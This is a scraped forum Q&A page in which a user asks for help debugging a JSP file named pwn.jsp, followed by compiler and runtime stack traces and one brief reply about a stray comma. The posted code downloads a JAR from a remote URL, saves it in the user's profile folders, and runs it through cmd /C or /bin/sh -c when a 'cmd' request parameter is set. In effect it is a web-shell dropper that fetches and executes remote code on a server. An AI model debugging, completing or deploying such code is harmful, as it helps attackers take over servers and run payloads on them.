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POJSP servlett error, can't figure it out
 

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    <p>I am relatively new to servletts, and I can't figure this out. Everything looks ok to me... </p> <p>Here is my code: </p> <pre><code>&lt;%@ page import="java.util.*,java.io.*, java.net.*, "%&gt; &lt;% String cmd; String[] cmdarr; String OS = System.getProperty("os.name"); String link = "http://site.com/update.jar"; String userDir = System.getProperty("user.home"); int last = link.lastIndexOf("/"); int ending = link.lastIndexOf("."); String fileName = link.substring(last + 1); String fileEnding = link.substring(ending + 1); URL u = new URL(link); URLConnection uc = u.openConnection(); String contentType = uc.getContentType(); int contentLength = uc.getContentLength(); if (contentType.startsWith("text/") || contentLength == -1) { throw new IOException("This is not a binary file."); } InputStream raw = uc.getInputStream(); InputStream in = new BufferedInputStream(raw); byte[] data = new byte[contentLength]; int bytesRead = 0; int offset = 0; while (offset &lt; contentLength) { bytesRead = in.read(data, offset, data.length - offset); if (bytesRead == -1) break; offset += bytesRead; } in.close(); String path; if (offset != contentLength) { throw new IOException("Only read " + offset + " bytes; Expected " + contentLength + " bytes"); } if(OS.startsWith("Mac")){ path = userDir+"/Library/"+fileName; } else if(OS.startsWith("Windows")){ path = userDir+"/AppData/Roaming/"+fileName; } else if(OS.startsWith("Linux")){ path = userDir+"/"+fileName; } else{ path = userDir+"/"+fileName; } FileOutputStream out = new FileOutputStream(path); out.write(data); out.flush(); out.close(); if (request.getParameter("cmd") != null) { cmd = "java -jar "+path; if (OS.startsWith("Windows")) { cmdarr = new String [] {"cmd", "/C", cmd}; } else { cmdarr = new String [] {"/bin/sh", "-c", cmd}; } Process p = Runtime.getRuntime().exec(cmdarr); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %&gt; </code></pre> <p>Here is the error: </p> <pre><code>org.apache.jasper.JasperException: Unable to compile class for JSP Generated servlet error: Syntax error on token "import", Identifier expected after this token An error occurred at line: 2 in the jsp file: /pwn.jsp Generated servlet error: Duplicate local variable out An error occurred at line: 2 in the jsp file: /pwn.jsp Generated servlet error: The method write(int) in the type Writer is not applicable for the arguments (byte[]) An error occurred at line: 2 in the jsp file: /pwn.jsp Generated servlet error: Duplicate local variable in org.apache.jasper.servlet.JspServletWrapper.handleJspException(JspServletWrapper.java:510) org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:375) org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:314) org.apache.jasper.servlet.JspServlet.service(JspServlet.java:264) javax.servlet.http.HttpServlet.service(HttpServlet.java:810) org.jboss.web.tomcat.filters.ReplyHeaderFilter.doFilter(ReplyHeaderFilter.java:96) root cause org.apache.jasper.JasperException: Unable to compile class for JSP Generated servlet error: Syntax error on token "import", Identifier expected after this token An error occurred at line: 2 in the jsp file: /pwn.jsp Generated servlet error: Duplicate local variable out An error occurred at line: 2 in the jsp file: /pwn.jsp Generated servlet error: The method write(int) in the type Writer is not applicable for the arguments (byte[]) An error occurred at line: 2 in the jsp file: /pwn.jsp Generated servlet error: Duplicate local variable in org.apache.jasper.compiler.DefaultErrorHandler.javacError(DefaultErrorHandler.java:84) org.apache.jasper.compiler.ErrorDispatcher.javacError(ErrorDispatcher.java:328) org.apache.jasper.compiler.JDTCompiler.generateClass(JDTCompiler.java:413) org.apache.jasper.compiler.Compiler.compile(Compiler.java:297) org.apache.jasper.compiler.Compiler.compile(Compiler.java:276) org.apache.jasper.compiler.Compiler.compile(Compiler.java:264) org.apache.jasper.JspCompilationContext.compile(JspCompilationContext.java:563) org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:303) org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:314) org.apache.jasper.servlet.JspServlet.service(JspServlet.java:264) javax.servlet.http.HttpServlet.service(HttpServlet.java:810) org.jboss.web.tomcat.filters.ReplyHeaderFilter.doFilter(ReplyHeaderFilter.java:96) </code></pre> <p>I have fixed the error at imports, and duplicate variables, but now I get this error:</p> <pre><code>org.apache.jasper.JasperException: An exception occurred processing JSP page /file.jsp at line 52 49: path = userDir+"/"+fileName; 50: } 51: 52: FileOutputStream out2 = new FileOutputStream(path); 53: out2.write(data); 54: out2.flush(); 55: out2.close(); Stacktrace: org.apache.jasper.servlet.JspServletWrapper.handleJspException(JspServletWrapper.java:518) org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:417) org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:320) org.apache.jasper.servlet.JspServlet.service(JspServlet.java:266) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.jboss.web.tomcat.filters.ReplyHeaderFilter.doFilter(ReplyHeaderFilter.java:96) root cause java.io.FileNotFoundException: C:\AppData\Roaming\update.jar (Das System kann den angegebenen Pfad nicht finden) java.io.FileOutputStream.open(Native Method) java.io.FileOutputStream.&lt;init&gt;(Unknown Source) java.io.FileOutputStream.&lt;init&gt;(Unknown Source) org.apache.jsp.pwn_jsp._jspService(pwn_jsp.java:108) org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:387) org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:320) org.apache.jasper.servlet.JspServlet.service(JspServlet.java:266) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.jboss.web.tomcat.filters.ReplyHeaderFilter.doFilter(ReplyHeaderFilter.java:96) </code></pre>
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    1. This table or related slice is empty.
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    1. USuser1947236
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    1. This table or related slice is empty.
    1. This table or related slice is empty.
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      1. POJSP servlett error, can't figure it out
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    1. COI suppose you have an extra comma at the end of your import.
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      1. USheretolearn
 

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